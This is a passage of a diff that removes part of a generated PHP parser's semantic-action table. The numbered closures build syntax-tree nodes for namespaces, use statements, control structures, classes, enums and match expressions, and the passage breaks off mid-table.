($self, $stackPos) { - /* nothing */ - }, - 99 => static function ($self, $stackPos) { - /* nothing */ - }, - 100 => static function ($self, $stackPos) { - $self->emitError(new Error('A trailing comma is not allowed here', $self->getAttributes($self->tokenStartStack[$stackPos-(1-1)], $self->tokenEndStack[$stackPos]))); - }, - 101 => null, - 102 => null, - 103 => static function ($self, $stackPos) { - $self->semValue = new Node\Attribute($self->semStack[$stackPos-(1-1)], [], $self->getAttributes($self->tokenStartStack[$stackPos-(1-1)], $self->tokenEndStack[$stackPos])); - }, - 104 => static function ($self, $stackPos) { - $self->semValue = new Node\Attribute($self->semStack[$stackPos-(2-1)], $self->semStack[$stackPos-(2-2)], $self->getAttributes($self->tokenStartStack[$stackPos-(2-1)], $self->tokenEndStack[$stackPos])); - }, - 105 => static function ($self, $stackPos) { - $self->semValue = array($self->semStack[$stackPos-(1-1)]); - }, - 106 => static function ($self, $stackPos) { - $self->semStack[$stackPos-(3-1)][] = $self->semStack[$stackPos-(3-3)]; $self->semValue = $self->semStack[$stackPos-(3-1)]; - }, - 107 => static function ($self, $stackPos) { - $self->semValue = new Node\AttributeGroup($self->semStack[$stackPos-(4-2)], $self->getAttributes($self->tokenStartStack[$stackPos-(4-1)], $self->tokenEndStack[$stackPos])); - }, - 108 => static function ($self, $stackPos) { - $self->semValue = array($self->semStack[$stackPos-(1-1)]); - }, - 109 => static function ($self, $stackPos) { - $self->semStack[$stackPos-(2-1)][] = $self->semStack[$stackPos-(2-2)]; $self->semValue = $self->semStack[$stackPos-(2-1)]; - }, - 110 => static function ($self, $stackPos) { - $self->semValue = []; - }, - 111 => null, - 112 => null, - 113 => null, - 114 => null, - 115 => static function ($self, $stackPos) { - $self->semValue = new Stmt\HaltCompiler($self->handleHaltCompiler(), $self->getAttributes($self->tokenStartStack[$stackPos-(4-1)], $self->tokenEndStack[$stackPos])); - }, - 116 => static function ($self, $stackPos) { - $self->semValue = new Stmt\Namespace_($self->semStack[$stackPos-(3-2)], null, $self->getAttributes($self->tokenStartStack[$stackPos-(3-1)], $self->tokenEndStack[$stackPos])); - $self->semValue->setAttribute('kind', Stmt\Namespace_::KIND_SEMICOLON); - $self->checkNamespace($self->semValue); - }, - 117 => static function ($self, $stackPos) { - $self->semValue = new Stmt\Namespace_($self->semStack[$stackPos-(5-2)], $self->semStack[$stackPos-(5-4)], $self->getAttributes($self->tokenStartStack[$stackPos-(5-1)], $self->tokenEndStack[$stackPos])); - $self->semValue->setAttribute('kind', Stmt\Namespace_::KIND_BRACED); - $self->checkNamespace($self->semValue); - }, - 118 => static function ($self, $stackPos) { - $self->semValue = new Stmt\Namespace_(null, $self->semStack[$stackPos-(4-3)], $self->getAttributes($self->tokenStartStack[$stackPos-(4-1)], $self->tokenEndStack[$stackPos])); - $self->semValue->setAttribute('kind', Stmt\Namespace_::KIND_BRACED); - $self->checkNamespace($self->semValue); - }, - 119 => static function ($self, $stackPos) { - $self->semValue = new Stmt\Use_($self->semStack[$stackPos-(3-2)], Stmt\Use_::TYPE_NORMAL, $self->getAttributes($self->tokenStartStack[$stackPos-(3-1)], $self->tokenEndStack[$stackPos])); - }, - 120 => static function ($self, $stackPos) { - $self->semValue = new Stmt\Use_($self->semStack[$stackPos-(4-3)], $self->semStack[$stackPos-(4-2)], $self->getAttributes($self->tokenStartStack[$stackPos-(4-1)], $self->tokenEndStack[$stackPos])); - }, - 121 => null, - 122 => static function ($self, $stackPos) { - $self->semValue = new Stmt\Const_($self->semStack[$stackPos-(3-2)], $self->getAttributes($self->tokenStartStack[$stackPos-(3-1)], $self->tokenEndStack[$stackPos])); - }, - 123 => static function ($self, $stackPos) { - $self->semValue = Stmt\Use_::TYPE_FUNCTION; - }, - 124 => static function ($self, $stackPos) { - $self->semValue = Stmt\Use_::TYPE_CONSTANT; - }, - 125 => static function ($self, $stackPos) { - $self->semValue = new Stmt\GroupUse($self->semStack[$stackPos-(8-3)], $self->semStack[$stackPos-(8-6)], $self->semStack[$stackPos-(8-2)], $self->getAttributes($self->tokenStartStack[$stackPos-(8-1)], $self->tokenEndStack[$stackPos])); - }, - 126 => static function ($self, $stackPos) { - $self->semValue = new Stmt\GroupUse($self->semStack[$stackPos-(7-2)], $self->semStack[$stackPos-(7-5)], Stmt\Use_::TYPE_UNKNOWN, $self->getAttributes($self->tokenStartStack[$stackPos-(7-1)], $self->tokenEndStack[$stackPos])); - }, - 127 => null, - 128 => static function ($self, $stackPos) { - $self->semStack[$stackPos-(3-1)][] = $self->semStack[$stackPos-(3-3)]; $self->semValue = $self->semStack[$stackPos-(3-1)]; - }, - 129 => static function ($self, $stackPos) { - $self->semValue = array($self->semStack[$stackPos-(1-1)]); - }, - 130 => null, - 131 => static function ($self, $stackPos) { - $self->semStack[$stackPos-(3-1)][] = $self->semStack[$stackPos-(3-3)]; $self->semValue = $self->semStack[$stackPos-(3-1)]; - }, - 132 => static function ($self, $stackPos) { - $self->semValue = array($self->semStack[$stackPos-(1-1)]); - }, - 133 => null, - 134 => static function ($self, $stackPos) { - $self->semStack[$stackPos-(3-1)][] = $self->semStack[$stackPos-(3-3)]; $self->semValue = $self->semStack[$stackPos-(3-1)]; - }, - 135 => static function ($self, $stackPos) { - $self->semValue = array($self->semStack[$stackPos-(1-1)]); - }, - 136 => static function ($self, $stackPos) { - $self->semValue = new Node\UseItem($self->semStack[$stackPos-(1-1)], null, Stmt\Use_::TYPE_UNKNOWN, $self->getAttributes($self->tokenStartStack[$stackPos-(1-1)], $self->tokenEndStack[$stackPos])); $self->checkUseUse($self->semValue, $stackPos-(1-1)); - }, - 137 => static function ($self, $stackPos) { - $self->semValue = new Node\UseItem($self->semStack[$stackPos-(3-1)], $self->semStack[$stackPos-(3-3)], Stmt\Use_::TYPE_UNKNOWN, $self->getAttributes($self->tokenStartStack[$stackPos-(3-1)], $self->tokenEndStack[$stackPos])); $self->checkUseUse($self->semValue, $stackPos-(3-3)); - }, - 138 => static function ($self, $stackPos) { - $self->semValue = new Node\UseItem($self->semStack[$stackPos-(1-1)], null, Stmt\Use_::TYPE_UNKNOWN, $self->getAttributes($self->tokenStartStack[$stackPos-(1-1)], $self->tokenEndStack[$stackPos])); $self->checkUseUse($self->semValue, $stackPos-(1-1)); - }, - 139 => static function ($self, $stackPos) { - $self->semValue = new Node\UseItem($self->semStack[$stackPos-(3-1)], $self->semStack[$stackPos-(3-3)], Stmt\Use_::TYPE_UNKNOWN, $self->getAttributes($self->tokenStartStack[$stackPos-(3-1)], $self->tokenEndStack[$stackPos])); $self->checkUseUse($self->semValue, $stackPos-(3-3)); - }, - 140 => static function ($self, $stackPos) { - $self->semValue = $self->semStack[$stackPos-(1-1)]; $self->semValue->type = Stmt\Use_::TYPE_NORMAL; - }, - 141 => static function ($self, $stackPos) { - $self->semValue = $self->semStack[$stackPos-(2-2)]; $self->semValue->type = $self->semStack[$stackPos-(2-1)]; - }, - 142 => null, - 143 => static function ($self, $stackPos) { - $self->semStack[$stackPos-(3-1)][] = $self->semStack[$stackPos-(3-3)]; $self->semValue = $self->semStack[$stackPos-(3-1)]; - }, - 144 => static function ($self, $stackPos) { - $self->semValue = array($self->semStack[$stackPos-(1-1)]); - }, - 145 => static function ($self, $stackPos) { - $self->semValue = new Node\Const_($self->semStack[$stackPos-(3-1)], $self->semStack[$stackPos-(3-3)], $self->getAttributes($self->tokenStartStack[$stackPos-(3-1)], $self->tokenEndStack[$stackPos])); - }, - 146 => null, - 147 => static function ($self, $stackPos) { - $self->semStack[$stackPos-(3-1)][] = $self->semStack[$stackPos-(3-3)]; $self->semValue = $self->semStack[$stackPos-(3-1)]; - }, - 148 => static function ($self, $stackPos) { - $self->semValue = array($self->semStack[$stackPos-(1-1)]); - }, - 149 => static function ($self, $stackPos) { - $self->semValue = new Node\Const_(new Node\Identifier($self->semStack[$stackPos-(3-1)], $self->getAttributes($self->tokenStartStack[$stackPos-(3-1)], $self->tokenEndStack[$stackPos-(3-1)])), $self->semStack[$stackPos-(3-3)], $self->getAttributes($self->tokenStartStack[$stackPos-(3-1)], $self->tokenEndStack[$stackPos])); - }, - 150 => static function ($self, $stackPos) { - $self->semValue = new Node\Const_(new Node\Identifier($self->semStack[$stackPos-(3-1)], $self->getAttributes($self->tokenStartStack[$stackPos-(3-1)], $self->tokenEndStack[$stackPos-(3-1)])), $self->semStack[$stackPos-(3-3)], $self->getAttributes($self->tokenStartStack[$stackPos-(3-1)], $self->tokenEndStack[$stackPos])); - }, - 151 => static function ($self, $stackPos) { - if ($self->semStack[$stackPos-(2-2)] !== null) { $self->semStack[$stackPos-(2-1)][] = $self->semStack[$stackPos-(2-2)]; } $self->semValue = $self->semStack[$stackPos-(2-1)];; - }, - 152 => static function ($self, $stackPos) { - $self->semValue = array(); - }, - 153 => static function ($self, $stackPos) { - $nop = $self->maybeCreateZeroLengthNop($self->tokenPos);; - if ($nop !== null) { $self->semStack[$stackPos-(1-1)][] = $nop; } $self->semValue = $self->semStack[$stackPos-(1-1)]; - }, - 154 => null, - 155 => null, - 156 => null, - 157 => static function ($self, $stackPos) { - throw new Error('__HALT_COMPILER() can only be used from the outermost scope', $self->getAttributes($self->tokenStartStack[$stackPos-(1-1)], $self->tokenEndStack[$stackPos])); - }, - 158 => static function ($self, $stackPos) { - $self->semValue = new Stmt\Block($self->semStack[$stackPos-(3-2)], $self->getAttributes($self->tokenStartStack[$stackPos-(3-1)], $self->tokenEndStack[$stackPos])); - }, - 159 => static function ($self, $stackPos) { - $self->semValue = new Stmt\If_($self->semStack[$stackPos-(7-3)], ['stmts' => $self->semStack[$stackPos-(7-5)], 'elseifs' => $self->semStack[$stackPos-(7-6)], 'else' => $self->semStack[$stackPos-(7-7)]], $self->getAttributes($self->tokenStartStack[$stackPos-(7-1)], $self->tokenEndStack[$stackPos])); - }, - 160 => static function ($self, $stackPos) { - $self->semValue = new Stmt\If_($self->semStack[$stackPos-(10-3)], ['stmts' => $self->semStack[$stackPos-(10-6)], 'elseifs' => $self->semStack[$stackPos-(10-7)], 'else' => $self->semStack[$stackPos-(10-8)]], $self->getAttributes($self->tokenStartStack[$stackPos-(10-1)], $self->tokenEndStack[$stackPos])); - }, - 161 => static function ($self, $stackPos) { - $self->semValue = new Stmt\While_($self->semStack[$stackPos-(5-3)], $self->semStack[$stackPos-(5-5)], $self->getAttributes($self->tokenStartStack[$stackPos-(5-1)], $self->tokenEndStack[$stackPos])); - }, - 162 => static function ($self, $stackPos) { - $self->semValue = new Stmt\Do_($self->semStack[$stackPos-(7-5)], $self->semStack[$stackPos-(7-2)], $self->getAttributes($self->tokenStartStack[$stackPos-(7-1)], $self->tokenEndStack[$stackPos])); - }, - 163 => static function ($self, $stackPos) { - $self->semValue = new Stmt\For_(['init' => $self->semStack[$stackPos-(9-3)], 'cond' => $self->semStack[$stackPos-(9-5)], 'loop' => $self->semStack[$stackPos-(9-7)], 'stmts' => $self->semStack[$stackPos-(9-9)]], $self->getAttributes($self->tokenStartStack[$stackPos-(9-1)], $self->tokenEndStack[$stackPos])); - }, - 164 => static function ($self, $stackPos) { - $self->semValue = new Stmt\Switch_($self->semStack[$stackPos-(5-3)], $self->semStack[$stackPos-(5-5)], $self->getAttributes($self->tokenStartStack[$stackPos-(5-1)], $self->tokenEndStack[$stackPos])); - }, - 165 => static function ($self, $stackPos) { - $self->semValue = new Stmt\Break_($self->semStack[$stackPos-(3-2)], $self->getAttributes($self->tokenStartStack[$stackPos-(3-1)], $self->tokenEndStack[$stackPos])); - }, - 166 => static function ($self, $stackPos) { - $self->semValue = new Stmt\Continue_($self->semStack[$stackPos-(3-2)], $self->getAttributes($self->tokenStartStack[$stackPos-(3-1)], $self->tokenEndStack[$stackPos])); - }, - 167 => static function ($self, $stackPos) { - $self->semValue = new Stmt\Return_($self->semStack[$stackPos-(3-2)], $self->getAttributes($self->tokenStartStack[$stackPos-(3-1)], $self->tokenEndStack[$stackPos])); - }, - 168 => static function ($self, $stackPos) { - $self->semValue = new Stmt\Global_($self->semStack[$stackPos-(3-2)], $self->getAttributes($self->tokenStartStack[$stackPos-(3-1)], $self->tokenEndStack[$stackPos])); - }, - 169 => static function ($self, $stackPos) { - $self->semValue = new Stmt\Static_($self->semStack[$stackPos-(3-2)], $self->getAttributes($self->tokenStartStack[$stackPos-(3-1)], $self->tokenEndStack[$stackPos])); - }, - 170 => static function ($self, $stackPos) { - $self->semValue = new Stmt\Echo_($self->semStack[$stackPos-(3-2)], $self->getAttributes($self->tokenStartStack[$stackPos-(3-1)], $self->tokenEndStack[$stackPos])); - }, - 171 => static function ($self, $stackPos) { - - $self->semValue = new Stmt\InlineHTML($self->semStack[$stackPos-(1-1)], $self->getAttributes($self->tokenStartStack[$stackPos-(1-1)], $self->tokenEndStack[$stackPos])); - $self->semValue->setAttribute('hasLeadingNewline', $self->inlineHtmlHasLeadingNewline($stackPos-(1-1))); - - }, - 172 => static function ($self, $stackPos) { - $self->semValue = new Stmt\Expression($self->semStack[$stackPos-(2-1)], $self->getAttributes($self->tokenStartStack[$stackPos-(2-1)], $self->tokenEndStack[$stackPos])); - }, - 173 => static function ($self, $stackPos) { - $self->semValue = new Stmt\Unset_($self->semStack[$stackPos-(5-3)], $self->getAttributes($self->tokenStartStack[$stackPos-(5-1)], $self->tokenEndStack[$stackPos])); - }, - 174 => static function ($self, $stackPos) { - $self->semValue = new Stmt\Foreach_($self->semStack[$stackPos-(7-3)], $self->semStack[$stackPos-(7-5)][0], ['keyVar' => null, 'byRef' => $self->semStack[$stackPos-(7-5)][1], 'stmts' => $self->semStack[$stackPos-(7-7)]], $self->getAttributes($self->tokenStartStack[$stackPos-(7-1)], $self->tokenEndStack[$stackPos])); - }, - 175 => static function ($self, $stackPos) { - $self->semValue = new Stmt\Foreach_($self->semStack[$stackPos-(9-3)], $self->semStack[$stackPos-(9-7)][0], ['keyVar' => $self->semStack[$stackPos-(9-5)], 'byRef' => $self->semStack[$stackPos-(9-7)][1], 'stmts' => $self->semStack[$stackPos-(9-9)]], $self->getAttributes($self->tokenStartStack[$stackPos-(9-1)], $self->tokenEndStack[$stackPos])); - }, - 176 => static function ($self, $stackPos) { - $self->semValue = new Stmt\Foreach_($self->semStack[$stackPos-(6-3)], new Expr\Error($self->getAttributes($self->tokenStartStack[$stackPos-(6-4)], $self->tokenEndStack[$stackPos-(6-4)])), ['stmts' => $self->semStack[$stackPos-(6-6)]], $self->getAttributes($self->tokenStartStack[$stackPos-(6-1)], $self->tokenEndStack[$stackPos])); - }, - 177 => static function ($self, $stackPos) { - $self->semValue = new Stmt\Declare_($self->semStack[$stackPos-(5-3)], $self->semStack[$stackPos-(5-5)], $self->getAttributes($self->tokenStartStack[$stackPos-(5-1)], $self->tokenEndStack[$stackPos])); - }, - 178 => static function ($self, $stackPos) { - $self->semValue = new Stmt\TryCatch($self->semStack[$stackPos-(6-3)], $self->semStack[$stackPos-(6-5)], $self->semStack[$stackPos-(6-6)], $self->getAttributes($self->tokenStartStack[$stackPos-(6-1)], $self->tokenEndStack[$stackPos])); $self->checkTryCatch($self->semValue); - }, - 179 => static function ($self, $stackPos) { - $self->semValue = new Stmt\Goto_($self->semStack[$stackPos-(3-2)], $self->getAttributes($self->tokenStartStack[$stackPos-(3-1)], $self->tokenEndStack[$stackPos])); - }, - 180 => static function ($self, $stackPos) { - $self->semValue = new Stmt\Label($self->semStack[$stackPos-(2-1)], $self->getAttributes($self->tokenStartStack[$stackPos-(2-1)], $self->tokenEndStack[$stackPos])); - }, - 181 => static function ($self, $stackPos) { - $self->semValue = null; /* means: no statement */ - }, - 182 => null, - 183 => static function ($self, $stackPos) { - $self->semValue = $self->maybeCreateNop($self->tokenStartStack[$stackPos-(1-1)], $self->tokenEndStack[$stackPos]); - }, - 184 => static function ($self, $stackPos) { - if ($self->semStack[$stackPos-(1-1)] instanceof Stmt\Block) { $self->semValue = $self->semStack[$stackPos-(1-1)]->stmts; } else if ($self->semStack[$stackPos-(1-1)] === null) { $self->semValue = []; } else { $self->semValue = [$self->semStack[$stackPos-(1-1)]]; }; - }, - 185 => static function ($self, $stackPos) { - $self->semValue = array(); - }, - 186 => static function ($self, $stackPos) { - $self->semStack[$stackPos-(2-1)][] = $self->semStack[$stackPos-(2-2)]; $self->semValue = $self->semStack[$stackPos-(2-1)]; - }, - 187 => static function ($self, $stackPos) { - $self->semValue = array($self->semStack[$stackPos-(1-1)]); - }, - 188 => static function ($self, $stackPos) { - $self->semStack[$stackPos-(3-1)][] = $self->semStack[$stackPos-(3-3)]; $self->semValue = $self->semStack[$stackPos-(3-1)]; - }, - 189 => static function ($self, $stackPos) { - $self->semValue = new Stmt\Catch_($self->semStack[$stackPos-(8-3)], $self->semStack[$stackPos-(8-4)], $self->semStack[$stackPos-(8-7)], $self->getAttributes($self->tokenStartStack[$stackPos-(8-1)], $self->tokenEndStack[$stackPos])); - }, - 190 => static function ($self, $stackPos) { - $self->semValue = null; - }, - 191 => static function ($self, $stackPos) { - $self->semValue = new Stmt\Finally_($self->semStack[$stackPos-(4-3)], $self->getAttributes($self->tokenStartStack[$stackPos-(4-1)], $self->tokenEndStack[$stackPos])); - }, - 192 => null, - 193 => static function ($self, $stackPos) { - $self->semValue = array($self->semStack[$stackPos-(1-1)]); - }, - 194 => static function ($self, $stackPos) { - $self->semStack[$stackPos-(3-1)][] = $self->semStack[$stackPos-(3-3)]; $self->semValue = $self->semStack[$stackPos-(3-1)]; - }, - 195 => static function ($self, $stackPos) { - $self->semValue = false; - }, - 196 => static function ($self, $stackPos) { - $self->semValue = true; - }, - 197 => static function ($self, $stackPos) { - $self->semValue = false; - }, - 198 => static function ($self, $stackPos) { - $self->semValue = true; - }, - 199 => static function ($self, $stackPos) { - $self->semValue = false; - }, - 200 => static function ($self, $stackPos) { - $self->semValue = true; - }, - 201 => static function ($self, $stackPos) { - $self->semValue = $self->semStack[$stackPos-(3-2)]; - }, - 202 => static function ($self, $stackPos) { - $self->semValue = []; - }, - 203 => null, - 204 => static function ($self, $stackPos) { - $self->semValue = new Node\Identifier($self->semStack[$stackPos-(1-1)], $self->getAttributes($self->tokenStartStack[$stackPos-(1-1)], $self->tokenEndStack[$stackPos])); - }, - 205 => static function ($self, $stackPos) { - $self->semValue = new Node\Identifier($self->semStack[$stackPos-(1-1)], $self->getAttributes($self->tokenStartStack[$stackPos-(1-1)], $self->tokenEndStack[$stackPos])); - }, - 206 => static function ($self, $stackPos) { - $self->semValue = new Stmt\Function_($self->semStack[$stackPos-(8-3)], ['byRef' => $self->semStack[$stackPos-(8-2)], 'params' => $self->semStack[$stackPos-(8-5)], 'returnType' => $self->semStack[$stackPos-(8-7)], 'stmts' => $self->semStack[$stackPos-(8-8)], 'attrGroups' => []], $self->getAttributes($self->tokenStartStack[$stackPos-(8-1)], $self->tokenEndStack[$stackPos])); - }, - 207 => static function ($self, $stackPos) { - $self->semValue = new Stmt\Function_($self->semStack[$stackPos-(9-4)], ['byRef' => $self->semStack[$stackPos-(9-3)], 'params' => $self->semStack[$stackPos-(9-6)], 'returnType' => $self->semStack[$stackPos-(9-8)], 'stmts' => $self->semStack[$stackPos-(9-9)], 'attrGroups' => $self->semStack[$stackPos-(9-1)]], $self->getAttributes($self->tokenStartStack[$stackPos-(9-1)], $self->tokenEndStack[$stackPos])); - }, - 208 => static function ($self, $stackPos) { - $self->semValue = new Stmt\Class_($self->semStack[$stackPos-(7-2)], ['type' => $self->semStack[$stackPos-(7-1)], 'extends' => $self->semStack[$stackPos-(7-3)], 'implements' => $self->semStack[$stackPos-(7-4)], 'stmts' => $self->semStack[$stackPos-(7-6)], 'attrGroups' => []], $self->getAttributes($self->tokenStartStack[$stackPos-(7-1)], $self->tokenEndStack[$stackPos])); - $self->checkClass($self->semValue, $stackPos-(7-2)); - }, - 209 => static function ($self, $stackPos) { - $self->semValue = new Stmt\Class_($self->semStack[$stackPos-(8-3)], ['type' => $self->semStack[$stackPos-(8-2)], 'extends' => $self->semStack[$stackPos-(8-4)], 'implements' => $self->semStack[$stackPos-(8-5)], 'stmts' => $self->semStack[$stackPos-(8-7)], 'attrGroups' => $self->semStack[$stackPos-(8-1)]], $self->getAttributes($self->tokenStartStack[$stackPos-(8-1)], $self->tokenEndStack[$stackPos])); - $self->checkClass($self->semValue, $stackPos-(8-3)); - }, - 210 => static function ($self, $stackPos) { - $self->semValue = new Stmt\Interface_($self->semStack[$stackPos-(7-3)], ['extends' => $self->semStack[$stackPos-(7-4)], 'stmts' => $self->semStack[$stackPos-(7-6)], 'attrGroups' => $self->semStack[$stackPos-(7-1)]], $self->getAttributes($self->tokenStartStack[$stackPos-(7-1)], $self->tokenEndStack[$stackPos])); - $self->checkInterface($self->semValue, $stackPos-(7-3)); - }, - 211 => static function ($self, $stackPos) { - $self->semValue = new Stmt\Trait_($self->semStack[$stackPos-(6-3)], ['stmts' => $self->semStack[$stackPos-(6-5)], 'attrGroups' => $self->semStack[$stackPos-(6-1)]], $self->getAttributes($self->tokenStartStack[$stackPos-(6-1)], $self->tokenEndStack[$stackPos])); - }, - 212 => static function ($self, $stackPos) { - $self->semValue = new Stmt\Enum_($self->semStack[$stackPos-(8-3)], ['scalarType' => $self->semStack[$stackPos-(8-4)], 'implements' => $self->semStack[$stackPos-(8-5)], 'stmts' => $self->semStack[$stackPos-(8-7)], 'attrGroups' => $self->semStack[$stackPos-(8-1)]], $self->getAttributes($self->tokenStartStack[$stackPos-(8-1)], $self->tokenEndStack[$stackPos])); - $self->checkEnum($self->semValue, $stackPos-(8-3)); - }, - 213 => static function ($self, $stackPos) { - $self->semValue = null; - }, - 214 => static function ($self, $stackPos) { - $self->semValue = $self->semStack[$stackPos-(2-2)]; - }, - 215 => static function ($self, $stackPos) { - $self->semValue = null; - }, - 216 => static function ($self, $stackPos) { - $self->semValue = $self->semStack[$stackPos-(2-2)]; - }, - 217 => static function ($self, $stackPos) { - $self->semValue = 0; - }, - 218 => null, - 219 => null, - 220 => static function ($self, $stackPos) { - $self->checkClassModifier($self->semStack[$stackPos-(2-1)], $self->semStack[$stackPos-(2-2)], $stackPos-(2-2)); $self->semValue = $self->semStack[$stackPos-(2-1)] | $self->semStack[$stackPos-(2-2)]; - }, - 221 => static function ($self, $stackPos) { - $self->semValue = Modifiers::ABSTRACT; - }, - 222 => static function ($self, $stackPos) { - $self->semValue = Modifiers::FINAL; - }, - 223 => static function ($self, $stackPos) { - $self->semValue = Modifiers::READONLY; - }, - 224 => static function ($self, $stackPos) { - $self->semValue = null; - }, - 225 => static function ($self, $stackPos) { - $self->semValue = $self->semStack[$stackPos-(2-2)]; - }, - 226 => static function ($self, $stackPos) { - $self->semValue = array(); - }, - 227 => static function ($self, $stackPos) { - $self->semValue = $self->semStack[$stackPos-(2-2)]; - }, - 228 => static function ($self, $stackPos) { - $self->semValue = array(); - }, - 229 => static function ($self, $stackPos) { - $self->semValue = $self->semStack[$stackPos-(2-2)]; - }, - 230 => null, - 231 => static function ($self, $stackPos) { - $self->semValue = array($self->semStack[$stackPos-(1-1)]); - }, - 232 => static function ($self, $stackPos) { - $self->semStack[$stackPos-(3-1)][] = $self->semStack[$stackPos-(3-3)]; $self->semValue = $self->semStack[$stackPos-(3-1)]; - }, - 233 => null, - 234 => static function ($self, $stackPos) { - $self->semValue = $self->semStack[$stackPos-(4-2)]; - }, - 235 => null, - 236 => static function ($self, $stackPos) { - $self->semValue = $self->semStack[$stackPos-(4-2)]; - }, - 237 => static function ($self, $stackPos) { - if ($self->semStack[$stackPos-(1-1)] instanceof Stmt\Block) { $self->semValue = $self->semStack[$stackPos-(1-1)]->stmts; } else if ($self->semStack[$stackPos-(1-1)] === null) { $self->semValue = []; } else { $self->semValue = [$self->semStack[$stackPos-(1-1)]]; }; - }, - 238 => static function ($self, $stackPos) { - $self->semValue = null; - }, - 239 => static function ($self, $stackPos) { - $self->semValue = $self->semStack[$stackPos-(4-2)]; - }, - 240 => null, - 241 => static function ($self, $stackPos) { - $self->semValue = array($self->semStack[$stackPos-(1-1)]); - }, - 242 => static function ($self, $stackPos) { - $self->semStack[$stackPos-(3-1)][] = $self->semStack[$stackPos-(3-3)]; $self->semValue = $self->semStack[$stackPos-(3-1)]; - }, - 243 => static function ($self, $stackPos) { - $self->semValue = new Node\DeclareItem($self->semStack[$stackPos-(3-1)], $self->semStack[$stackPos-(3-3)], $self->getAttributes($self->tokenStartStack[$stackPos-(3-1)], $self->tokenEndStack[$stackPos])); - }, - 244 => static function ($self, $stackPos) { - $self->semValue = $self->semStack[$stackPos-(3-2)]; - }, - 245 => static function ($self, $stackPos) { - $self->semValue = $self->semStack[$stackPos-(4-3)]; - }, - 246 => static function ($self, $stackPos) { - $self->semValue = $self->semStack[$stackPos-(4-2)]; - }, - 247 => static function ($self, $stackPos) { - $self->semValue = $self->semStack[$stackPos-(5-3)]; - }, - 248 => static function ($self, $stackPos) { - $self->semValue = array(); - }, - 249 => static function ($self, $stackPos) { - $self->semStack[$stackPos-(2-1)][] = $self->semStack[$stackPos-(2-2)]; $self->semValue = $self->semStack[$stackPos-(2-1)]; - }, - 250 => static function ($self, $stackPos) { - $self->semValue = new Stmt\Case_($self->semStack[$stackPos-(4-2)], $self->semStack[$stackPos-(4-4)], $self->getAttributes($self->tokenStartStack[$stackPos-(4-1)], $self->tokenEndStack[$stackPos])); - }, - 251 => static function ($self, $stackPos) { - $self->semValue = new Stmt\Case_(null, $self->semStack[$stackPos-(3-3)], $self->getAttributes($self->tokenStartStack[$stackPos-(3-1)], $self->tokenEndStack[$stackPos])); - }, - 252 => null, - 253 => null, - 254 => static function ($self, $stackPos) { - $self->semValue = new Expr\Match_($self->semStack[$stackPos-(7-3)], $self->semStack[$stackPos-(7-6)], $self->getAttributes($self->tokenStartStack[$stackPos-(7-1)], $self->tokenEndStack[$stackPos])); - }, - 255 => static function ($self, $stackPos) { - $self->semValue = []; - }, - 256 => null, - 257 => static function ($self, $stackPos) { - $self->semValue = array($self->semStack[$stackPos-(1-1)]); - }, - 258 => static function ($self, $stackPos) { - $self->semStack[$stackPos-(3-1)][] = $self->semStack[$stackPos-(3-3)]; $self->semValue = $self->semStack[$stackPos-(3-1)]; - }, - 259 => static function ($self, $stackPos) { - $self->semValue = new Node\MatchArm($self->semStack[$stackPos-(3-1)], $self->semStack[$stackPos-(3-3)], $self->getAttributes($self->tokenStartStack[$stackPos-(3-1)], $self->tokenEndStack[$stackPos])); - }, - 260 => static function ($self, $stackPos) { - $self->semValue = new Node\MatchArm(null, $self->semStack[$stackPos-(4-4)], $self->getAttributes($self->tokenStartStack[$stackPos-(4-1)], $self->tokenEndStack[$stackPos])); - }, - 261 => static function ($self, $stackPos) { - $self->semValue = $self->semStack[$stackPos-(1-1)]; - }, - 262 => static function ($self, $stackPos) { - $self->semValue = $self->semStack[$stackPos-(4-2)]; - }, - 263 => static function ($self, $stackPos) { - $self->semValue = array(); - }, - 264 => static function ($self, $stackPos) { - $self->semStack[$stackPos-(2-1)][] = $self->semStack[$stackPos-(2-2)]; $self->semValue = $self->semStack[$stackPos-(2-1)]; - }, - 265 => static function ($self, $stackPos) { - $self->semValue = new Stmt\ElseIf_($self->semStack[$stackPos-(5-3)], $self->semStack[$stackPos-(5-5)], $self->getAttributes($self->tokenStartStack[$stackPos-(5-1)], $self->tokenEndStack[$stackPos])); - }, - 266 => static function ($self, $stackPos) { - $self->semValue = array(); - }, - 267 => static function ($self, $stackPos) { - $self->semStack[$stackPos-(2-1)][] = $self->semStack[$stackPos-(2-2)]; $self->semValue = $self->semStack[$stackPos-(2-1)]; - }, - 268 => static function ($self, $stackPos) { - $self->semValue = new Stmt\ElseIf_($self->semStack[$stackPos-(6-3)], $self->semStack[$stackPos-(6-6)], $self->getAttributes($self->tokenStartStack[$stackPos-(6-1)], $self->tokenEndStack[$stackPos])); $self->fixupAlternativeElse($self->semValue); - }, - 269 => static function ($self, $stackPos) { - $self->semValue = null; - }, - 270 => static function ($self, $stackPos) { - $self->semValue = new Stmt\Else_($self->semStack[$stackPos-(2-2)], $self->getAttributes($self->tokenStartStack[$stackPos-(2-1)], $self->tokenEndStack[$stackPos])); - }, - 271 => static function ($self, $stackPos) { - $self->semValue = null; - }, - 272 => static function ($self, $stackPos) { - $self->semValue = new Stmt\Else_($self->semStack[$stackPos-(3-3)], $self->getAttributes($self->tokenStartStack[$stackPos-(3-1)], $self->tokenEndStack[$stackPos])); $self->fixupAlternativeElse($self->semValue); - }, - 273 => static function ($self, $stackPos) { - $self->semValue = array($self->semStack[$stackPos-(1-1)], false); - }, - 274 => static function ($self, $stackPos) { - $self->semValue = array($self->semStack[$stackPos-(2-2)], true); - }, - 275 => static function ($self, $stackPos) { - $self->semValue = array($self->semStack[$stackPos-(1-1)], false); - }, - 276 => static function ($self, $stackPos) { - $self->semValue = array($self->fixupArrayDestructuring($self->semStack[$stackPos-(1-1)]), false); - }, - 277 => null, - 278 => static function ($self, $stackPos) { - $self->semValue = array(); - }, - 279 => static function ($self, $stackPos) { - $self->semValue = array($self->semStack[$stackPos-(1-1)]); - }, - 280 => static function ($self, $stackPos) { - $self->semStack[$stackPos-(3-1)][] = $self->semStack[$stackPos-(3-3)]; $self->semValue = $self->semStack[$stackPos-(3-1)]; - }, - 281 => static function ($self, $stackPos) { - $self->semValue = 0; - }, - 282 => static function ($self, $stackPos) { - $self->checkModifier($self->semStack[$stackPos-(2-1)], $self->semStack[$stackPos-(2-2)], $stackPos-(2-2)); $self->semValue = $self->semStack[$stackPos-(2-1)] | $self->semStack[$stackPos-(2-2)]; - }, - 283 => static function ($self, $stackPos) { - $self->semValue = Modifiers::PUBLIC; - }, - 284 => static function ($self, $stackPos) { - $self->semValue = Modifiers::PROTECTED; - }, - 285 => static function ($self, $stackPos) { - $self->semValue = 